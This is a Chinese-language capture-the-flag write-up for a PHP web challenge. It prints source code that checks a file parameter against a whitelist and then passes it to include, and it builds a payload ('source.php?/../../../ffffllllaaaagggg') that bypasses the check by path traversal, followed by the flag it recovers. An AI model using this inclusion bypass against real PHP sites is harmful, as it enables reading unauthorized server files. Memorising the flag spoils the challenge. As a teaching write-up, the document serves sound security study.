页面只有一个表情包,啥也没有
首先查看一下源代码,发现有个source.php
尝试访问,是一坨代码
有个hint.php尝试访问,提示flag在ffffllllaaaagggg
简单对代码进行分析:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //定义数组,后面用到
if (! isset($page) || !is_string($page)) { //isset() 函数用于检测变量是否已设置并且非 NULL
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { //in_array() 函数搜索数组中是否存在指定的值。
return true;
}
//mb_substr(string $str,int $start,int $length = NULL,string $encoding = mb_internal_encoding())
//mb_substr函数根据 start 和 length 参数返回 str 中指定的部分。
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?') //mb_strpos(a,b) — 查找字符串b在字符串a中首次出现的位置
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page); //urldecode进行url解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file']) //empty() 函数用于检查一个变量是否为空。
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
我们最终目标是让include包含我们传入的file,需要绕过checkFile过滤函数
注意:$_REQUEST 能够接收 GET,POST 和 COOKIE 输入机制来传递参数
构造payload:
http://111.200.241.244:62548?file=source.php?/../../../../../../ffffllllaaaagggg
payload原理:
//source.php?/../../../../../../ffffllllaaaagggg
$_page = mb_substr( 经过这个函数后payload还剩source.php
$page,
0,
mb_strpos($page . '?', '?') //?在payload中首次出现的位置为10
);
if (in_array($_page, $whitelist)) { //通过白名单验证
return true;
}
又因为include会忽略/前的字符串而去找/../../../../../../ffffllllaaaagggg这个文件
flag{25e7bce6005c4e0c983fb97297ac6e5a}